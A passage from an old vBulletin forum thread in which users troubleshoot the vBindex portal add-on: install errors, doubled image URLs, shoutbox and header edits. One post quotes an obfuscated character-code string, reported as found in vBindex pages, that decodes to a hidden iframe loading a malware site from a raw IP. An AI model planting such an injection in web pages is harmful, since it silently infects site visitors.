IP Address: xxx.xxx.xxx.xxx
How do I solve this?



there ignoring you so i must quote it. this is a seriou serror that needs to be fixed. yes im geting it to with every block

blaataap
01-08-2005, 12:38 AM
This hack need an own sub forum, 2100+ replies are too much to read to find something interesting. You could use the search for problems but there are prolly also some nice features discussed in this thread that my eyes will never see :(

leeman
01-08-2005, 10:25 AM
this was easy and smooth ...

*Leeman clicks install*

javageek
01-09-2005, 12:39 AM
I installed this and so far it all seems to be good except for one thing. I initially installed it in the root along with my forums. I moved all the vb files into a subfolder called forum, and now the forums graphics are missing. What do I need to do to get them back?

BigIke
01-09-2005, 06:34 AM
ok i installed everything.. everything was workin great except when you went to the homepage (http://s116946478.onlinehome.us/vb/) it would lead you to http://s116946478.onlinehome.us/vb/index.php instead of http://s116946478.onlinehome.us/vb/vbindex.php. So what I did was i renamed vbindex.php to index.php now the forums won't work. I think renaming the files messed me up. Can anyone help?

noppid
01-09-2005, 07:02 AM
I think you can rename the original forumhome index.php like forum.php and tell the system that in the ACP and use index.php for the portal. I never did it so I have no details.

NiROE
01-09-2005, 08:01 AM
Trying to install this on 3.0.5 but when I run the vbiupgrade.php file in the admin directory the admin control panel opens with the list of controls on the left frame, but the right frame is blank... Noticed a few others have had the problem in the past, but tried searching and couldnt see if/how they fixed it..

Any help would be appreciated..

Thanks

leeman
01-09-2005, 09:09 AM
I installed this and so far it all seems to be good except for one thing. I initially installed it in the root along with my forums. I moved all the vb files into a subfolder called forum, and now the forums graphics are missing. What do I need to do to get them back?


My guess is that you have to go in to admincp and edit the paths to the imagefolders...

sidewinder1
01-10-2005, 05:40 AM
how can i add my header with banner ad's to the vbindex homepage? i added them in a skin wich i am useing on the vbindex but it wont go on the homepage.can the vbindex.php be altered to include this header at the top?

VViper
01-10-2005, 08:26 AM
I had to upgrade my site due to a security hole in VB3 and it wiped my Vbindex install.
I reverted to a backup done prior to the upgrade, what should i do or leave out in the copy from the upgrade, any help would be appreciated.

Delphy
01-10-2005, 10:46 AM
sidewinder, just edit the vbindex_header and add the html for the banners there.

supreme weapon, I have 3.0.3 too and I installed vbIndex with no problems, using custom side blocks too. Is it only when you enable specific blocks or what?

dreck
01-14-2005, 04:57 PM
I had to uninstall vBindex after upgrading to 3.0.5. :(

Now I cant remember how to set the path of the smiles? My smiles are not working in the lastest posts.
Also the calendar link is doubled up:
http://www.thisdarncar.com/vb/http://www.ThisDarnCar.com/vb/calendar.php?month=1&year=2005&c=1&do=displaymonth

I have spent all day trying to get this straighten out, if anyone could tell me what to edit it sure would make my life alot better! :)

Thanks.

noppid
01-14-2005, 06:00 PM
Style manager->all style options->image paths

dreck
01-14-2005, 06:39 PM
I have the images paths set to the full link. And the links work I have try them.

I don't see the smiles under here?

I also have edited each smile and set it to the full url.

Any other ideas?

Thanks.

Murphinator
01-16-2005, 03:58 AM
question...

i cant use the log in, it gives me this error
POST requests from foreign hosts are not allowed.

and also i tried to do the admincp/index.php change and it gave me an error :(

dreck
01-16-2005, 03:32 PM
Why are my smiles & icons like this????

http://www.thisdarncar.com/vb/http://www.ThisDarnCar.com/vb/images/icons/icon3.gif
Same for calendar????

http://www.thisdarncar.com/vb/http://www.ThisDarnCar.com/vb/calendar.php?month=1&year=2005&c=1&do=displaymonth

I have set the Style manager->all style options->image paths to full paths & revert... neither work!
I have searched templates for hours & cant figure out how to get rid of the
http://www.thisdarncar.com/vb/
Where in the templates do i need to edit or what code should i search for?

Murphinator
01-16-2005, 03:49 PM
you need to follow the step where you put the full url in front of the images in the install

Gary King
01-17-2005, 12:18 AM
How do I disable [img] tags in the shoutbox in vBIndex?

dreck
01-17-2005, 02:57 AM
you need to follow the step where you put the full url in front of the images in the install
yep i did that many times..
I have set the Style manager->all style options->image paths to full paths & revert... neither work!
any more ideas?

zendiz
01-17-2005, 11:49 AM
does it work with VB 3.05?

Charlie Argueta
01-17-2005, 12:52 PM
Hi there!

I have installed the vBindex in my web site but I would like to make a small modification.

The point is that I want to restrict the shoutbox not only to the unregistred users but also one group else, but I don't know what to do or which variable to use and were in order to archive this.

I hope you can help me to make this :)

Thanks in advance
Charlie

Pseudomizer
01-17-2005, 02:24 PM
does it work with VB 3.05?

Yes, it does.

Cheers,

thenewstlucian
01-17-2005, 04:56 PM
I installed it but I can;t see anything in my right boxes

forget about that I figgered how. to work it out. but I can;t get the shoutbox and calendar to show up now

dreck
01-17-2005, 05:25 PM
I am still having problems with my links?
I have the full paths set. (look at the pictures)
But yet I still have a doubled up url:
http://www.thisdarncar.com/vb/http://www.ThisDarnCar.com/vb/images/icons/icon12.gif
Same thing with my calendar. The January 2005 link is:
http://www.thisdarncar.com/vb/http://www.ThisDarnCar.com/vb/calendar.php?month=1&year=2005&c=1&do=displaymonth
Can anyone help!?!

Thanks!

Murphinator
01-17-2005, 06:49 PM
it might have to do with your vB options, in the acp did when it asks you for your forum urls did you use the trailing / ?

dreck
01-17-2005, 07:12 PM
umm?.. let me look

dreck
01-17-2005, 07:17 PM
nope...

I try:
define('CHDIR_PATH', '/home/thisdarn/public_html/vb');
and
define('CHDIR_PATH', '/home/thisdarn/public_html/vb/');
any other ideas?

Gary King
01-17-2005, 07:25 PM
How do I disable [img] tags in the shoutbox in vBIndex?

Cancorp
01-19-2005, 05:06 AM
Great hack and easy install.

One small problem (forgive me if it has been addressed elsewhere in this thread but I read the first 15 pages and didn't see it and I wasn't about to read 144 pages :tired: ) :

On the portal page, when you activate the calendar, it shows an active link on days when an event is scheduled. However, when you click on that link, it goes to the URL where you installed vbindex.php (ie: http://www.mydomain.com/calendar.core?do=getinfo&day=.....) and therefore gives a 404 page not found error.

I looked around but couldn't see where/how to fix it up. Everything else works fine (including if you click on the Month on the calendar) it is just when you click on the days with events.

Suggestions?

Pseudomizer
01-19-2005, 07:58 AM
Great hack and easy install.

One small problem (forgive me if it has been addressed elsewhere in this thread but I read the first 15 pages and didn't see it and I wasn't about to read 144 pages :tired: ) :

On the portal page, when you activate the calendar, it shows an active link on days when an event is scheduled. However, when you click on that link, it goes to the URL where you installed vbindex.php (ie: http://www.mydomain.com/calendar.core?do=getinfo&day=.....) and therefore gives a 404 page not found error.

I looked around but couldn't see where/how to fix it up. Everything else works fine (including if you click on the Month on the calendar) it is just when you click on the days with events.

Suggestions?

Some people have .php3 and some people have .php. Due to this you have to set the right option for your board. Just replace the .core in the appropriate place. That's it.

Cheers,

lfpm
01-19-2005, 10:09 AM
Great hack, my first vb hack (converted to vb last month)

Now i don't use the default style, so whan i added this hack, the vbindex is not looking the way the forum is, check it out

http://www.lfpm.org/vb/vbindex.php

http://www.lfpm.org/forum/index.php

I want to fix the header and footer to look same as the forum

Even more then that, i want to remove my homepage and make the vbindex my homepage ( www.lfpm.org ) but in order to do so, i have to edit somethings, i have to add some links and add a "big" link to the forum directly (the same way www.lfpm.org looks like)

So my question is, how to edit the file? (ive been trying to edit it for 2 days now but its not working)

Is there any help file about this?

Thanks

Gary King
01-19-2005, 11:28 AM
How do I disable [img] tags in the shoutbox in vBIndex?

Anyone? :(

Cancorp
01-19-2005, 06:01 PM
Some people have .php3 and some people have .php. Due to this you have to set the right option for your board. Just replace the .core in the appropriate place. That's it.

Cheers,

Thanks for the reply.

Our file extentions are all .php

Now I am a TOTAL NOVICE at this stuff, so your reference to replace the .core went right over my head :o Could you please give me a little guidance on where .core is, what it is and how/what I need to change?

Thanks in advance!

neocorteqz
01-19-2005, 06:43 PM
Thanks for the reply.

Our file extentions are all .php

Now I am a TOTAL NOVICE at this stuff, so your reference to replace the .core went right over my head :o Could you please give me a little guidance on where .core is, what it is and how/what I need to change?

Thanks in advance! .core is a custom extension that NTLDR the coder used at www.coreforums.net (which redirects to this thread.) basically a php file only with a custom extension.

.core if i recall was found in some of the templates. SO if you do a search in the templates added by vBindex, you'll find .core in some of them, all you do is edit any instance of .core to whatever extension you are using, IE. php, php3, html, etc....

@gary, I don't have this installed anymore, but i believe the only way to turn off image tags, is to not allow them in the forum you specified as your "News" forums.

neocorteqz
01-19-2005, 06:51 PM
Great hack, my first vb hack (converted to vb last month)

Now i don't use the default style, so whan i added this hack, the vbindex is not looking the way the forum is, check it out

http://www.lfpm.org/vb/vbindex.php

http://www.lfpm.org/forum/index.php

I want to fix the header and footer to look same as the forum

Even more then that, i want to remove my homepage and make the vbindex my homepage ( www.lfpm.org (http://www.lfpm.org) ) but in order to do so, i have to edit somethings, i have to add some links and add a "big" link to the forum directly (the same way www.lfpm.org (http://www.lfpm.org) looks like)

So my question is, how to edit the file? (ive been trying to edit it for 2 days now but its not working)

Is there any help file about this?

Thanks If you are refering to a link back to the portal from your forums, it's easy enough to do. You have to edit your forums navbar template.

I used this in the past



<!-- Begin navbar link to forums home -->
<if condition="THIS_SCRIPT == 'vbindex'"><td class="vbmenu_control"><a
href="../forums.php">Forums</a></td>
</if>
<if condition="THIS_SCRIPT != 'vbindex'"><td class="vbmenu_control"><a href="../index.php">Portal</a></td>
</if>
<!-- <td class="vbmenu_control"><a href="../forums.php" onMouseOver="window.status='http://www.nemesisforums.net/forums.php'; return true" onMouseOut="window.status=' '">Forums</a></td>-->
<!-- End Navbar Link to Forum home-->


if you want the portal to become your main page you have to edit name of forums script in the admin panel, then name index.php to the name you used in the adminpanel, then rename vbindex,php to index .php

Then apply the code above in the navbar template.

Mayers
01-19-2005, 06:52 PM
I'm having the same problems as dreck with images showing up as dubble urls. Does anyone know how to fix this problem?

http://www.teenzone101.net/forum/vbindex.php

Gary King
01-19-2005, 07:19 PM
How do I disable [img] tags in the shoutbox in vBIndex?

neocorteqz
01-19-2005, 07:44 PM
How do I disable [img] tags in the shoutbox in vBIndex? that i don't know. Sorry.

Cancorp
01-19-2005, 10:32 PM
.core is a custom extension that NTLDR the coder used at www.coreforums.net (which redirects to this thread.) basically a php file only with a custom extension.

.core if i recall was found in some of the templates. SO if you do a search in the templates added by vBindex, you'll find .core in some of them, all you do is edit any instance of .core to whatever extension you are using, IE. php, php3, html, etc....

@gary, I don't have this installed anymore, but i believe the only way to turn off image tags, is to not allow them in the forum you specified as your "News" forums.


2 template edits needed to be done to correct this:

calendar_smallmonth_day
calendar_smallmonth_header

These 2 templates are modified by the install of vbindex and they are where the "calendar.core" urls come from.

All fixed up now and loving the hack!

T3MEDIA
01-20-2005, 12:14 AM
Anyone ever get the fix for the avatar problem with this? Did I miss that?

T3MEDIA
01-20-2005, 12:18 AM
Can anyone else confirm this?
On other topics. I get shoutbox database errors... anyone else gets that???

Hiya,

I found a bug with vbIndex and the member list/count on the front page.

When a member is either not logged on, or doesn't have permissions to see invisible users, the member list will "break" when the first invisible user is encountered.

The offending line is line 398, the break 1 line:

} elseif ($onlineuser['invisible']) {
$home['onlineguesttotal']++;
$home['onlinemembertotal']--;
break 1;
}


Commenting this line out so that it completes the rest of the loop then makes the member list and member numbers render properly.

Hope this helps,
Delphy

prof3ta
01-21-2005, 06:37 PM
I'm sure this has been covered like a zillion times in this forum, but i treid searchng and reading and the thread its just too big!
i simply want my vbindex as my home page (rename vbindex.ph to index.php) but when people click on forums i want them to go to what used to be the original index.php...
And is there a way users can go back to the main vbindex page?
:P

Charlie Argueta
01-22-2005, 02:30 AM
Hi there!

I have installed the vBindex in my web site but I would like to make a small modification.

The point is that I want to restrict the shoutbox not only to the unregistred users but also one group else, but I don't know what to do or which variable to use and were in order to archive this.

I hope you can help me to make this :)

Thanks in advance
Charlie
How about a little of help in here :cry:

Meltingfire
01-22-2005, 12:20 PM
question...

i cant use the log in, it gives me this error
POST requests from foreign hosts are not allowed.

and also i tried to do the admincp/index.php change and it gave me an error :(
I found a fix for the "POST" problem!

Im running vbIndex on "www .site.com" and my forum on "forum.site.com" and i had problems with the POST issue.

I found out that in the preg-replace they have hardcoded the "www" part and changeing it to "forum" solved it for me.

<init.php>

Before:
$http_host = preg_replace('#^www\.#i', '', $http_host);
After:
$http_host = preg_replace('#^forum\.#i', '', $http_host);

klute
01-23-2005, 05:00 AM
I have the same problem. In which file must the change be carried out?

Impulse
01-23-2005, 02:42 PM
I'm asking in in here as well and although it has probaly been asked several times aldready, I couldn't find an answer ;___;

I've recently installed vBindex on www.ffimpulse.com/vbindex.php? Now, when I try to log it, it lets me but on the vbindex page nothing changes, I'm still seen as a guest even though it does log me in on the forums .. it doesn't log me in on the vbindex page.

It's not the same as the above posted problem.

Help, please.

Meltingfire
01-23-2005, 07:15 PM
I have the same problem. In which file must the change be carried out?
Its in includes/init.php

Boots
01-25-2005, 01:31 PM
a few questions

1. which is better, this or vbcpms ?
2. is removal easy?
3. how much crap does this add to my database?
4. does it manipulate the structure of the database?
5. does it affect my ability to update my forums?

black04gt
01-25-2005, 09:23 PM
hello,

I just installed it and folowed the directions exactly word for word and guess what happened absolutly nothing. I used the control pannel and put it to have 2 boxes on left and right sides.. and nodde no error messages nothing...

im stuck in the mud any help please

http://www.tbmustangs.com/forum

David

overload7
01-25-2005, 10:59 PM
hello,

I just installed it and folowed the directions exactly word for word and guess what happened absolutly nothing. I used the control pannel and put it to have 2 boxes on left and right sides.. and nodde no error messages nothing...

im stuck in the mud any help please

http://www.tbmustangs.com/forum

David

I have the same exact problem. Cannot figure it out at all.

black04gt
01-26-2005, 12:24 AM
me either... i dont understand... i reinstalled unintsalled reintalled changed things nothing...... guess no one looks at this threat anymore bro... is there another place i can post for help?

Theory
01-27-2005, 11:22 AM
This may sound retarded. But uhh how do you edit custom blocks?

black04gt
01-27-2005, 11:38 AM
i was wondering that too...

Theory
01-27-2005, 11:59 AM
If you find out let me know.

Theory
01-27-2005, 01:07 PM
I think I found out how you have to edit the template vbindex_customblock_1 then copy it over to every skin =/. Wish they had a main menu option set up like vbportal does.

Big Kahuna
01-27-2005, 10:24 PM
When I upgraded from VB 3.0.1 to 3.0.6 I lost the dropdown menu for VBindex options in my admincp. I spent an hour looking for the answer here and elsewhere -- before figuring it out. No no one else has to feel my pain -- the answer is:



in the admincp at line 568 replace







construct_nav_option($vbphrase['vbulletin_options'], 'options.php?null=0', '<br />');



with





construct_nav_option($vbphrase['vbulletin_options'], 'options.php?null=0', '<br />');

construct_nav_option($vbphrase['vbindex_options'], 'vbioptions.php?', '<br />');

hysteriaweb
01-28-2005, 09:12 AM
Database error in vBulletin 3.0.5:

Invalid SQL:
INSERT INTO template
(styleid, templatetype, title, dateline, username, template)
VALUES
(2, 'stylevar', 'imgdir_attach', 1106910482, 'xxxxxxxxxx', 'http://xxxxxxxxxxxxxxxxxxx/images/attach')

mysql error: Duplicate entry 'imgdir_attach-2' for key 2

mysql error number: 1062

I am getting this error when trying to install the portal on the latest version of vbulletin. Has anyone else had this problem?

T3MEDIA
01-28-2005, 09:21 AM
This may sound retarded. But uhh how do you edit custom blocks?there is a template... custom 1,2,3,4 ect. you put your code in there. what ever your doing that is.

T3MEDIA
01-28-2005, 09:23 AM
bump
You mean to tell me there isnt anyone that gets this Avatar issue????
any form of fix out there?

Big Kahuna
01-28-2005, 02:04 PM
I installed version 3 of this in May on VB3.0.1 and never had a problem with it at www.moparstyle.com

Yesterday I upgraded to VB3.0.6 and the only thing I could find that was lost in the upgrade was the VBindex Options in the adminCP. I found the fix and posted it three posts up.

dboogie2288
01-28-2005, 04:45 PM
Hello, I have been using VBindex for a few weeks now, and i have noticed this small problem regarding thread images on the actual index page. For some reason, it displays the domain twice, resulting in a bad link that looks like this: http://www.beginnerbikers.org/forum/http://www.beginnerbikers.org/forum/images/icons/icon10.gif

I have triple checked all my image directories to make sure that the domain and path is correct, so I'm at a loss as to what setting I need to modify. Thanks in advance..
-D

greenhybrid
01-28-2005, 10:15 PM
Is it possible to have two different instances of this script installed? I have one page that I now have set up like a portal, but for the homepage of my website, I'd like to have a blog-style news feed from the forums as well. It would run on a different template, URL, etc. Perhaps by doing a big search/replace in the code and re-installing?

Thanks.

MrLeN
01-29-2005, 08:09 AM
I installed it exactly as it said. I got an error. So I uninstalled it and installed it again, very carefully. I got the same error again:



Warning: chdir(): No such file or directory (errno 2) in /home/newezone/public_html/vbindex/vbindex.php on line 144

Warning: main(./global.php): failed to open stream: No such file or directory in /home/newezone/public_html/vbindex/vbindex.php on line 145

Fatal error: main(): Failed opening required './global.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/newezone/public_html/vbindex/vbindex.php on line 145


I have:

vbindex.php
vbiconfig.php

at:

http://www.newezone.com/vbindex/HERE

..I also tried placing them in:

http://www.newezone.com/HERE


..and I have:

vbioptions.php


vbiupgrade.php
functions_vbiupgrade.php
vbindex_phrases.xml
vbindex_templates.xml
vbindex_adminhelp.xml

at:

http://www.newezone.com/forums/admincp/HERE

Server Information:


Operating system Linux
Service Status Click to View
Kernel version 2.6.8.1
Machine Type i686
Apache version 1.3.33 (Unix)
PERL version 5.8.4
Path to PERL /usr/bin/perl
Path to sendmail /usr/sbin/sendmail
Installed Perl Modules Click to View
PHP version 4.3.10
MySQL version 4.0.22-standard
cPanel Build 9.9.9-STABLE 15
Theme cPanel X v2.5.0
Documentation Click to View

Charlie Argueta
01-29-2005, 01:48 PM
Hi there!

I have installed the vBindex in my web site but I would like to make a small modification.

The point is that I want to restrict the shoutbox not only to theunregistred users but also one group else, but I don't know what to door which variable to use and were in order to archive this.

I hope you can help me to make this :)

Thanks in advance
Charlie

Again, can you help me with this?

The thing is that at least I need a style variable to restrict the shoutbox not only to the unregistred, also to another group.

Something like:
<if usergroup="number" bla bla bla "noposting" ...

Please, help me :(

See Ya

greenhybrid
01-29-2005, 02:29 PM
Is it possible to have two different instances of this script installed? I have one page that I now have set up like a portal, but for the homepage of my website, I'd like to have a blog-style news feed from the forums as well. It would run on a different template, URL, etc. Perhaps by doing a big search/replace in the code and re-installing?

Thanks.

Could I, perhaps, replace all instances of "vbindex" with "vbindex2" and re-install? Any help would be much appreciated.

Prodigal
01-29-2005, 11:18 PM
what shoutbox does this use? or does it have one built in thats just not working for me?

Prodigal
01-29-2005, 11:26 PM
i love this hack, i installed it immediately. im have a lil trouble understanding how to set up the polls and getting the shoutbox to work. also, im want the vbindex to be at my domain name. any help?

pxtek
01-30-2005, 04:51 AM
Warning: chdir(): No such file or directory (errno 2) in /home/t61/public_html/vbindex.php on line 144

flstreetscene
01-30-2005, 11:37 AM
Why can't anyone answer this?

What do I have to edit so that there are no margins for the vbindex content

shown here:
http://www.floridastreetscene.com/images/helpplz.gif

greenhybrid
01-30-2005, 02:50 PM
Prodigal, you can use htaccess to set the default page for a directory. Not sure if you can make the default page from another directory, though.

flstreetscene, I was looking for that, too. Can't seem to find it? Perhaps get rid of the class that that cell has in the vbindex template.

Can anyone answer my question? ^

pxtek
01-30-2005, 10:25 PM
Warning: chdir(): No such file or directory (errno 2) in /home/t61/public_html/vbindex.php on line 144

anyone help with this problem

shin asura
01-31-2005, 05:53 AM
Installed it, went through the setup didn't get any errors but I can't get it to show the portal.

What address do I use?

pxtek
01-31-2005, 05:37 PM
shin asura i think its www.yourdomain.com/forumname/vbindex.php

T3MEDIA
02-01-2005, 05:09 AM
this hack has been abandoned.
dont you guys see that?

and change vbindex.php to index.php

caf0006
02-01-2005, 08:18 AM
Can anybody tell me how include the styles header template in the VBINDEX template without cutting and pasting HTML?
I've tried putting $header after the <body> tag but it seems to be including the vbindex_header template there instead.
Any help would be greatly appreciated.

Kyderoy
02-03-2005, 02:55 AM
I installed Vbindex but when I try to access the portal I get this error.....

Warning: chdir(): No such file or directory (errno 2) in E:\Inetpub\forums\vbindex.php on line 144


Unable to add cookies, header already sent.
File: E:\Inetpub\forums\vbindex.php
Line: 144

Please help

caf0006
02-03-2005, 06:37 AM
I solved my problem.
in your vbindex.php file go to line 1158
look for:

eval("\$home[header] = \"".fetch_template('vbindex_header')."\";");

replace with:

eval("\$home[header] = \"".fetch_template('header')."\";");

Now where ever you put the $header variable in your vbindex templates your style's header will show instead of vindex's. Just keep in mind that you will no longer be able to use the vbindex_header template. Which is fine by me.

If you want to use your style's footer template rather than vbindex's, go to line 1156(should be right above the place you edited for the header section)
look for:

eval("\$home[footer] = \"".fetch_template('vbindex_footer')."\";");

and replace with:

eval("\$home[footer] = \"".fetch_template('footer')."\";");


There ya go, easy as cake.

T3MEDIA
02-03-2005, 02:36 PM
Hey buddy you think you can create a fix for the Avatar bug? if you upload they show if you take one from the database nothing shows.

1nf3rn0
02-07-2005, 07:09 AM
well here goes with my lil bug that i cant seem to find...i have installed this addon at 2 sites....both of which all went real smooth.....now...one site, shows the new posts under the new threads in the center column, the other DOESN'T show the new posts under the new threads in the center column....any ideas as to why one site shows and the other doesnt show the new posts?..as well...i have updated counters and added the forum id's for the news to show up and have it enabled...but to no avail...those too aren't showing up..any help is appreciated and thank you in advance...BTW...great add-on!

Alfa166
02-07-2005, 04:06 PM
Anyone prepared to share their wisdom ???

I have installed vBindex on 3.0.6, basically the install was faultless, all went in as per instructions.

Problem is obviously due to the updates in vBulletin since 3.0.0 this hack appears not to work, has anyone managed to get it to work on 3.0.5 or 6, if so would you please note the changes you had to make, working vBindex is awesome and i know it works on 3.0.6 because it can be seen HERE (http://www.zgeek.com).

Any help would be much appreciated and i'm sure would put more than this one user out of their misery.

Chrz

AlfA

rodriguez
02-07-2005, 06:08 PM
Sorry if someone asked that before, but is there a way to have the side bar on everypage like what vBadvanced can do ?

deta
02-10-2005, 09:57 AM
Hello,

I wanted sometimes questions, when a new version comes?

What is for the new version geplahnt?

cu Deta

mattyk72
02-14-2005, 08:54 PM
How can I have the centered latest threads box on top of the news threads, instead of the default way it is now?

T3MEDIA
02-14-2005, 09:14 PM
its in the vbindex template.
you can move it any way you want to really.
its all html
take a look at a site that has something done like what you want.
www.sprnch.com
hit preview site.

MikeWalczak
02-14-2005, 11:20 PM
*REMOVED**

I FIGURED IT OUT! :)

MODS CAN DELETE THIS

THANKS,
MIKE

mattyk72
02-15-2005, 01:11 AM
its in the vbindex template.
you can move it any way you want to really.
its all html
take a look at a site that has something done like what you want.
www.sprnch.com
hit preview site.

thanks, but I'm still not sure what I need to move...

deta
02-15-2005, 07:06 AM
Hello!
What I must act, the new news einträge,
in addition, still in " last threads " are indicated?

cu Deta

Macindy
02-16-2005, 02:13 PM
I have problems with the user online box. Does somebody have the same problems. If somebody is unregistered e.g. not all username are shown - just some.

Could this have something to do with invisible status or something (but in the forum the names are shown correctly).

Please help!

greenhybrid
02-17-2005, 07:40 PM
Thanks for the quick & easy hack. I'm having a problem displaying thumbnails. I set GD as 2.0+ in the settings, as showin phpinfo, but thumbnails won't come up. Any ideas, please?

jmacieira
02-17-2005, 07:58 PM
hello

Please help me

I'm having a problem displaying order News Forum ID

I need this order: 34,33,38

and i see every from order ID 38,34,33

Can you help me :(


Sorry my Ingles, but im Portuguese and my Ingles is very bad :sleep:

jmacieira
02-17-2005, 08:21 PM
@jmacieieira
Your problem is easy to solve.

1. Create a new file and put the following content in:
"DirectoryIndex vbindex.php index.php"

2. Save it as "htaccess"

3. Upload it into your root

That's it.

I hope someone can help me with my problem too.
Read my first post on this page..

Chris
many tank?s suryoyena

jmacieira
02-17-2005, 10:10 PM
please

Were i can fin the custom block for the last 7 members ?

i delete my :(

GoTTi
02-18-2005, 05:35 AM
users are telling me that this link does not work anymore. any ideas?

/index.php?action=shoutbox

i guess it use to work before the upgrade. im not sure. any ideas.

neocorteqz
02-18-2005, 06:00 AM
Again, can you help me with this?

The thing is that at least I need a style variable to restrict the shoutbox not only to the unregistred, also to another group.

Something like:
<if usergroup="number" bla bla bla "noposting" ...

Please, help me :(

See Ya

<if condition="$bbuserinfo[usergroupid] == X">
Some code here
</if>

Multiple usergroups

<if condition="$bbuserinfo[usergroupid] == X OR $bbuserinfo[usergroupid] == X">
Some code here
</if>

Replace X with whatever usergroup you want, 6 = admin, etc.....
read more on template conditionals here.

http://www.vbulletin.com/docs/html/main/template_conditionals


I really should install this again to see what all the problems are. :)

9mmPrincess
02-18-2005, 10:55 PM
so this doesnt work with 3.06? i installed it and the install went fine, however, it doesnt work-i go to the forums index of my site and it looks just the same as before :/ i kind of jumped the gun, i know-i just read it, it sounded cool, and i installed it, before thinking to look if it worked with the latest version of vb...

soniceffect
02-19-2005, 08:50 AM
*clicks install* Very good portal m8. Can`t even begin to think how long that took u to code

9mmPrincess
02-19-2005, 12:03 PM
is it supposed to work with 3.06?

E.Blackadder
02-20-2005, 04:56 PM
sorry for the noobie question..

I have installed vbulletin 3.06 on my small webspace and run a forum on it.
we can view it at www.blahblah.com

Someone recommended vbindex as a nice 'portal' so I have downloaded that from your site and stumbled through the 'install', not really knowing what i was doing..I just clicked...yes...yes..yes.. as you do. I have edited a file in the forums folder called 'index.php' and the vbindex options now show up in the vbulletin admin panel. however when i visit the webb addy it goes straight to my forum page. what files do i need to edit now so that when folks type in the webb addy they go to the vbindex portal first...and is there another file i need to edit in vbindex to then direct them to the forum?

thanks guys and gals...

John Diver
02-20-2005, 11:23 PM
Hey,
Great hack, thanks

I am having one problem with the header of my site using the hack.

It is only showing one of the images, you can view it here:
http://www.hostingrefuge.com/vbindex.php?

Anyone know how to fix this?

Thanks
John

E.Blackadder
02-21-2005, 12:42 PM
:rolleyes: :rolleyes:

sorry for the noobie question..

I have installed vbulletin 3.06 on my small webspace and run a forum on it.
we can view it at www.blahblah.com

Someone recommended vbindex as a nice 'portal' so I have downloaded that from your site and stumbled through the 'install', not really knowing what i was doing..I just clicked...yes...yes..yes.. as you do. I have edited a file in the forums folder called 'index.php' and the vbindex options now show up in the vbulletin admin panel. however when i visit the webb addy it goes straight to my forum page. what files do i need to edit now so that when folks type in the webb addy they go to the vbindex portal first...and is there another file i need to edit in vbindex to then direct them to the forum?

thanks guys and gals...

I read elswhere to rename index php to forum.php in the vbull cont panel..and rename the file in the forum folder and rename vbinex.php to index.php

tried that and got this error

Warning: chdir(): SAFE MODE Restriction in effect. The script whose uid/gid is 1134/1134 is not allowed to access /home/sub004 owned by uid/gid 0/0 in /home2/sub002/sc10166/forums/index.php on line 144

Unable to add cookies, header already sent.
File: /home2/sub002/sc10166/forums/index.php
Line: 144




any ideas?

John Diver
02-21-2005, 07:05 PM
Hey,
Anyone able to help with my problem?
I am hoping to put my site live with a new skin tomorrow but I need to get vbindex working first.

Thanks :)

Sinister21
02-22-2005, 01:40 PM
I've installed Vbindex.. it appears to be setup, and useable in the control panel but nothing seems to be happening live.

the install wasn't easy.. and i had to "hack" my way through it making changes to the php code etc.

im pretty sure i butchered the install but i have the control panel index for vbindex. etc..

currently running vBulletin version 3.0.6

im sure somethings not pointing to the right file or some other crap.

my site is in my signature.. please help me. im so lost. email oir pm me?

9mmPrincess
02-22-2005, 06:09 PM
Hey,
Anyone able to help with my problem?
I am hoping to put my site live with a new skin tomorrow but I need to get vbindex working first.

Thanks :)

the same thing is happening to me, ive got the same problem

i feel invisible

can anyone help at all, tell me what im doing wrong? the install went fine but nothing happens -no portal shows up

i'm about to say to hell with it and go buy vbportal

surely someone must know the answer to my and John Diver's question???

Sinister21
02-22-2005, 08:43 PM
can someone just tell me if this works with 3.0.6? cause im going nuts here trying to figure out if its a coding problem on my end or not.

if it works, i'll figure out what i did wrong.

Sinister21
02-23-2005, 03:57 PM
Nevermind.. i decided to use the vBadvanced CMPS v1.0.0

fully compatible with 3.0.6 +

T3MEDIA
02-23-2005, 06:20 PM
this thread has been abandoned. Your wasting your time.
vBulletin.org does not monitor to see if hacks are still supported its all just to look organized but it isnt.

dont install.

RichieBoy67
02-25-2005, 12:48 AM
Too late.. I just installed. I was just looking for an easy addon to serve as a news/ site supporter and adds page.. I already installed it..

Now I'd like to know if there is an easy way to get the shout box into the middle of the page.. I would also like to know how I change the word "welcome" in the welcome box..

If anyone reads this ,,,thanks

radigan
02-25-2005, 07:48 PM
WOW! This thing rocks! one question...
How to you make the custom blocks?


Edit: THIS IS THE BEST PORTAL EVER AND THE EASIST TO INSTALL!
I added it but when i open vbindex.php the page is just blank and it says done.

Wtfizzle is the problem?

RichieBoy67
02-26-2005, 01:52 PM
Is there a way to put the shoutbox in the center??

-

T3MEDIA
02-28-2005, 08:59 PM
Anyone ever figure out why Firefox opens the index page out of align randomly? This was mentioned on the old core forums but never replied to I believe.Starting to get this crap as well now. Is there a clean uninstaller?

ImportPassion
03-01-2005, 02:29 AM
i need ppl to check any vbindex page and view source and tell me if you have some crap like this at the top of the file

100,111,99,117,109,101,110,116,46,119,114,105,116, 101,40,34,60,105,102,114,97,10 9,101,32,115,114,99,61,39,104,116,116,112,58,47,47 ,56,50,46,49,55,57,46,49,54,54 ,46,54,57,47,49,48,48,48,50,52,47,39,32,115,116,12 1,108,101,61,39,100,105,115,11 2,108,97,121,58,110,111,110,101,39,62,60,47,105,10 2,114,97,109,101,62,34,41

I am getting this in all vbindex files and it decodes to a site that gives out trojans. If you have, I suggest disabling immediately. None of my other pages seem to be affected.

Mark.B
03-05-2005, 07:59 AM
vBindex works for me on 3.0.7 and has worked on all earlier versions from 3.0.0 upwards.

Better still, it's the only hack that never needs reinstalling after an upgrade.

Theory
03-07-2005, 06:58 AM
On my new Latest thread display on the main page. My icons don't show if there was one for that thread it's doubling the link that it should be going to. How do I edit that?

Almotmaiz.Net
03-08-2005, 09:00 AM
so nice >>
thanx alot man :smoke:

saab340
03-09-2005, 02:07 PM
How do I add custom centerblock?
Either include/html/php in it?

Thanks

JD76
03-12-2005, 07:48 PM
This is the error i am getting... How can I fix this?

Warning: chdir(): No such file or directory (errno 2) in /home/jaydabh/public_html/forum/vbindex.php on line 144

Database error in vBulletin 3.0.6:

Invalid SQL:
## GET NEWS ##
SELECT thread.*,thread.iconid AS threadiconid, threadpost.pagetext AS pagetext,
threadpost.attach AS attachcount,
avatarpath, NOT ISNULL(avatardata) AS customavatar, user.avatarrevision, customavatar.dateline AS customdateline,

